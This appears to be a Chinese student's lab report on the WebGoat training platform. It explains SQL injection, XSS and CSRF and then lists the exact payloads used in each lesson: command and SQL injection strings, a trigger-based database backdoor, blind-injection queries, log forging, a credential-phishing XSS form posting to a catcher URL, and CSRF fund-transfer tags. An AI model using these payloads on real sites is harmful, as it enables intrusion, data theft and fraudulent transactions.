1.實踐內容html
2.一些問題java
答:SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。防護手段:不容許提交含有特殊字符的字符串,加密數據庫中的內容等。git
答:在網站任何接受正常文本輸入的地方,輸入Javascript腳本,並讓腳本執行。防護手段:表單提交的時候檢測特殊字符的存在;消除網站的XSS漏洞,網站開發者運用轉義安全字符手段等。github
答:一種對網站的惡意利用也就是人們所知道的釣魚網站,儘管聽起來像跨站腳本(XSS),但XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。對於每個重要的post提交頁面,都使用一個驗證碼。每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定爲CSRF攻擊。按期清理cookie,甚至不使用cookieweb
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。sql
一、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下載webgoat-container-7.0.1-war-exec.jar
,放到kali中。數據庫
二、在命令行輸入java -jar webgoat-container-7.0.1-war-exec.jar
運行Webgoat,等待一小會後出現以下提示則運行成功。
後端
三、在瀏覽器中輸入http://localhost:8080/WebGoat
進入WebGoat登陸界面
瀏覽器
四、使用頁面下端任意一個帳號密碼進行登陸,能夠看到以下頁面:
安全
五、接下來就是在左側選擇各類選項進行相應的測試。
簡介:命令注入就是經過在要提交的文本框中輸入一些命令,提交後這些命令被執行,從而達到必定的目的。
(1)首先能夠看到頁面中有一個複選框,裏面有不少選項,它們都是合法的
(2)咱們要作的是經過修改源代碼,在其中一個選項的後面添加一些指令,經過選擇修改後的選項,點擊view
達到效果。
(3)右擊頁面,選擇inspect Element
查看頁面源代碼進行修改,雙擊複選框中任意一欄的代碼進行編輯,添加"& pwd"。
(4)在複選框中選擇該項,點擊view
,發現添加的命令被成功執行,攻擊成功。
簡介:經過在要提交的文本框中加入一些其餘的邏輯條件,來在沒有權限的狀況下繞過權限的限制,獲得更多的東西。
(1)首先在頁面中咱們能夠看到這只是一個簡單的天氣查詢,在複選框中選擇一個城市,點擊go
後能夠查看所選擇的城市的天氣。這裏複選框中只有四個選項
(2)咱們能夠猜想,這裏的數據庫語句應該是在數據庫中查找城市對應編號所在的行,而後輸出天氣。
(3)右擊頁面,選擇inspect Element
查看頁面源代碼進行修改,找到複選框代碼所在位置後,雙擊對value="102"
進行修改,在後面添加or 1=1
。
(4)選擇該城市,點擊go
。發現全部城市的天氣信息都被輸出,其中還有兩個是選項裏沒有的。攻擊成功
簡介:在進行web攻擊後,每每會在日誌文件中留下本身的攻擊痕跡。經過日誌欺騙,能夠僞造日誌,消除或掩蓋本身的攻擊痕跡。
(1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin
,其中%0d%0a是回車和換行符號的ASCII碼,密碼任意。點擊登陸,能夠看到以下信息。
(2)這樣看起來就好像是有一個帳號admin登陸了網頁。但其實這是假的。攻擊者能夠利用這種方式向日志文件中添加惡意腳本。好比在用戶名輸入admin <script>alert(document.cookie)</script>
並提交,那麼管理員頁面就會彈出一個cookies信息。
這裏有4個步驟,可是Stage 2和Stage 4僅適用於WebGoat的開發版本
Stage 1: 字符串型注入
目標是繞過登陸。
(1)首先嚐試選擇管理員身份,密碼輸入' or '1' = '1
。在密碼輸入的時候會發現這裏設置了長度限制,' or '1' = '1
佔13個長度,而密碼框限制了輸入長度爲8
(2)根據上面的經驗能夠判斷出須要修改頁面源代碼。
(3)右擊頁面,選擇inspect Element
查看頁面源代碼。右擊頁面,選擇inspect Element
查看頁面源代碼進行修改,修改密碼框的長度爲13。
(4)再次在密碼框輸入' or '1' = '1
,發現這回沒有被限制。點擊登陸後彈出以下提示,攻擊成功
Stage 3: 數字型 SQL 注入
目標:使用員工Larry的身份,查看老闆Neville的信息。
(1)先使用Stage 1的方法,繞過登陸,查看Larry的信息。
(2)右鍵點擊頁面,選擇inspect Element
查看頁面源代碼,找到選項框中的信息Larry Stooge
所在的代碼位置。
(3)相關人員信息就是經過value中的值進行搜索的。一般來講老闆的工資是最高的,工資字段通常都是salary
,因此修改value爲101 or 1=1 order by salary desc
,點擊ViewProfile
,發現獲得老闆的信息,攻擊成功。
(1)這個網站能夠查詢用戶的信用卡號碼。這裏較爲簡單,原理與上面的數字型注入類似。
(2)在用戶名框輸入' or 1=1--
,點擊go
,得到全部用戶的信用卡號碼
(1)目標:建立一個數據庫後門。嘗試在輸入查詢id的同時注入命令增長工資。
(2)什麼是數據庫後門?數據庫一般做爲一個 Web 應用程序的後端來使用。此外,它也用來做爲存儲的媒介。 它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另 一個數據庫操做,如增刪改查。好比:攻擊者能夠建立一個觸發器, 使得建立新用戶時將每一個新用戶的工資增長10000。
(3)這個網站的做用是輸入用戶id,返回用戶相應信息。輸入`101
進行搜索,能夠看到如今的工資是55000
(4)輸入101; update employee set salary=66666
修改工資爲66666。
(3)輸入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid
,完成攻擊。
注:CREATE TRIGGER myBackDoor是建立一個後門。BEFORE是在....以前。這條語句是在插入新的數據以前把新員工的工資項加10000後再放入數據庫。
簡介:通常來講, SQL 注入是沒有明確返回信息的,這時候的注入就叫作盲注。
目標:找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。
(1)該網站容許輸入一個賬號,並檢測該賬號是否合法。若是合法(存在),則提示有效,不然提示無效。好比:
(2)這裏咱們能夠利用AND。這樣一來當AND兩邊恆爲真時,纔會提示有效,不然提示無效。
(3)接下來就是利用數據庫語句進行測試來找出pin的id。在文本框輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
。發現無效,說明≤5000。
(4)接下來經過不斷地折半查找,獲得pin爲2364
目標:與7類似,不過這裏的pin字段變成varchar。
(1)一樣的,利用AND。首先輸入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)
測試一下pin的長度。顯示
(2)繼續進行嘗試,發現長度是4。
(3)接着輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )
來不斷對第n個字母進行確認。這裏過程瑣碎就再也不列出。最後獲得pin字段是Jill
簡介:原理:當用戶輸入非法 HTTP 響應時容易形成 XSS,jsp代碼被執行。
(1)右擊頁面,選擇inspect Element
查看頁面源代碼。右擊頁面,選擇inspect Element
查看頁面源代碼進行修改,雙擊其中任意一個部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
(2)搜索這段代碼,出現以下界面
(3)輸入任意,點擊提交
簡介:常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。
(1)在title中任意輸入字符,留言板中輸入<script>alert("You've been attacked!!!");</script>
,提交。
(2)提交後能夠看見在下方出現了一個以title命名的連接,點擊後執行剛剛的html語句,攻擊成功
簡介:攻擊者使用攻擊腳本建立一個URL,其訪問另外一個網站,經過各類方式來讓受害者點擊它。
(1)直接輸入<script>alert("You've been attacked!!!");</script>
,點擊purse便可。
跨站點請求僞造(csrf/xsrf)是一種攻擊,誘騙受害者加載包含img連接的頁面,以下所示: 當受害者的瀏覽器試圖呈現加載某個「圖片」(實際上包含了對其餘網站的請求)時,它將向www.mybank.com發出一個帶有指定參數的TransferFunds.do頁面請求。瀏覽器會認爲連接是爲了獲取圖像,即便它其實是一個資金轉移功能。該請求將包括與站點關聯的全部cookie。所以,若是用戶已經對站點進行了身份驗證,而且擁有永久cookie,甚至當前會話cookie,那麼站點將沒法將其與合法的用戶請求區分開來。經過這種方式,攻擊者可讓受害者執行他們不打算執行的操做,例如註銷、購買物品或脆弱網站提供的任何其餘功能。
(2)右側Parameters中的src和menu值,分別爲282和900
(3)標題任意,內容輸入<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />
,而後提交。
(4)能夠看到下方出現一個鏈接,能夠點。點擊後觸發CSRF事件,攻擊成功
(1)實現跨站請求僞造攻擊(CSRF),包括經過多個請求繞過用戶確認腳本命令
(2)與CSRF課程相似,您的目標是向包含多個惡意請求的新聞組發送電子郵件:第一個請求用於轉移資金,第二個請求用於確認第一個請求觸發的提示符。url應該指向攻擊servlet,其中包含這個CSRF-prompt-by-pass課程的屏幕、菜單參數和一個額外的參數「transferFunds」,其中包含一個數值「5000」來啓動傳輸,一個字符串值「CONFIRM」來完成傳輸。您能夠從右邊的插圖中複製課程的參數,建立格式爲「attack?Screen=XXX&menu=YYY&transferFunds=ZZZ」的url。不管誰收到這封電子郵件,而且碰巧在那個時候經過了身份驗證,他的資金就會被轉移。當您認爲攻擊成功時,刷新頁面。
(3)在title框中任意輸入,message框中輸入代碼:<iframe src="attack?Screen=297&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=297&menu=900&transferFunds=CONFIRM"> </iframe>